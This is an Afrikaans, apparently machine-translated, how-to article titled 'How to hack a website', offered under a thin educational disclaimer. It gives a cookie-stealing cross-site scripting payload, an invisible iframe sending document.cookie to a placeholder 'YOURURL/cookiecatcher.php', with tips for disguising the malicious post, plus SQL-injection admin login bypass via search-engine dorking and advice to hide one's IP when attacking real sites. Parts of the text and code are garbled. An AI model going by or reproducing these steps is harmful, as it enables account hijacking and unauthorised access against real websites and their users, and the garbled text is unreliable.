Hoe om `n webwerf te hack

noot

conținut

Stappe
Metode 1met cross site scripting
Metode 2doen inspuitingsaanvalle
Metode 3berei voor om te slaag
Wenke
Waarskuwings

: Hierdie artikel word streng vir opvoedkundige doeleindes geskep, om mense te help om `n wit hoed hacker te word of om te demonstreer hoe hackers moet werk om hul webwerwe beter te beskerm. Hierdie handleiding sal u die stappe gee om toegang tot baie lae sekuriteitswebwerwe te verkry.

stappe

Metode 1
Met Cross Site Scripting

Soek na `n kwesbare webwerf waar jy inhoud kan plaas. `N Boodskapbord is `n goeie voorbeeld. Onthou, as die webwerf veilig is, sal dit nie werk nie.

Skep `n publikasie U moet `n spesiale kode in die "publikasie" Dit sal die data van almal wat daarop klik, vang.

Probeer om uit te vind of stelselfilters die eksterne kode filter. Poswaarskuwing ("toets") (die uitskakeling van die "..."). As `n waarskuwingskassie verskyn wanneer jy op die pos kliek, is die werf kwesbaar vir aanvalle.

Skep en laai jou koekie vanger. Die doel van hierdie aanval is om die gebruikers se koekies vas te vang, waardeur u toegang tot u rekeninge kan kry op webwerwe wat kwesbare inskrywings het. Jy sal `n koekie vanger nodig hê wat jou teiken se koekies sal vang en dit aanstuur. Laai die gryper op na `n webwerf wat u toegang het en wat php ondersteun. Later sal ons jou `n voorbeeld gee van koekie vangkode.

Maak `n publikasie met jou koekie vanger. Voer `n toepaslike kode in die publikasie in om die koekies te vang en na jou webwerf te stuur. Ons raai u aan om `n paar teks na die kode te plaas om agterdogte te verminder en te voorkom dat u publikasie uitgevee word.

`N Voorbeeldkode sal wees: <... iframe ... frameborder = 0 hoogte = 0 breedte = 0 src = jаvascript ...: void (document.location ="YOURURL / cookiecatcher.php? C ="+ document.cookie)><... / iframe> (uitskakeling van die "...").

Gebruik die koekies wat jy ingesamel het Dan kan u die inligting van die koekies gebruik, wat reeds op u webwerf gestoor word met die doel wat u benodig.

Metode 2
Doen inspuitingsaanvalle

Soek vir `n kwesbare webwerf Jy sal `n webwerf moet kry wat kwesbaar is deur `n administrateur se aanmelding te hê wat maklik toeganklik is. Probeer Google-administrasie login.asp soek.

Teken in as administrateur. Skryf "admin" as `n gebruikersnaam en gebruik `n paar van die verskillende karakterstrings as `n wagwoord. Dit kan sommige van die verskillende kettings wees, maar `n algemene voorbeeld is 1`o`1 `=` 1.

Het geduld Dit kan verskeie toetse en foute vereis.

Toegang tot die webwerf. Uiteindelik word aanvaar dat u `n draad sal vind wat u administrateur toegang gee tot `n webwerf, indien dit kwesbaar is vir aanvalle.

Metode 3
Berei voor om te slaag

Leer een of twee programmeertaal. As jy regtig wil leer hoe om webwerwe te hack, moet jy verstaan hoe rekenaars en ander tegnologieë werk. Leer om programmeertale soos Python of SQL te gebruik, sodat jy meer beheer oor rekenaars kan kry en kwesbaarheid in die stelsels kan identifiseer.

Leer basiese HTML Jy sal ook `n breë begrip van HTML en jаvascript moet hê as jy veral webwerwe wil hack. Dit kan tyd neem om te leer, maar daar is baie gratis maniere om aanlyn te leer, so jy sal die geleentheid kry as jy dit wil gebruik.

Gaan met wit hoed hackers. Wit hoed hackers is hackers wat hul potensiaal vir goed gebruik, kwesbaarhede in sekuriteit blootstel en die internet `n beter plek vir almal maak. As jy voel om te leer hack en jou vaardighede vir goed gebruik of as jy jou eie webwerf wil beskerm, raai ons aan om `n wit hoed hacker te kontak om hul advies te vra.

Ondersoek die vak. As jy voel om te leer hack of net jouself wil beskerm, moet jy baie daaroor nagevors. Daar is te veel maniere waarop `n webwerf kwesbaar kan wees en die lys verander voortdurend, sodat jy voortdurend moet leer om te leer.

Bly op hoogte Aangesien die lys van moontlike aanvalle voortdurend verander, moet jy seker maak dat jy altyd op hoogte is. Die feit dat jy jouself kan beskerm teen `n soort aanval, beteken nie dat jy in die toekoms veilig sal wees nie!

wenke

Besoek hacker forums om nuttige wenke te kry.

waarskuwings

As jy in die regte wêreld gaan haak, steek jou IP af met behulp van sagteware wat aanlyn beskikbaar is.
Om ons artikel te lees sal nie dadelik jou `n hacker maak nie. U moet u vaardighede en praktyk sonder ophou verken.

Deel op sosiale netwerke:

Verwante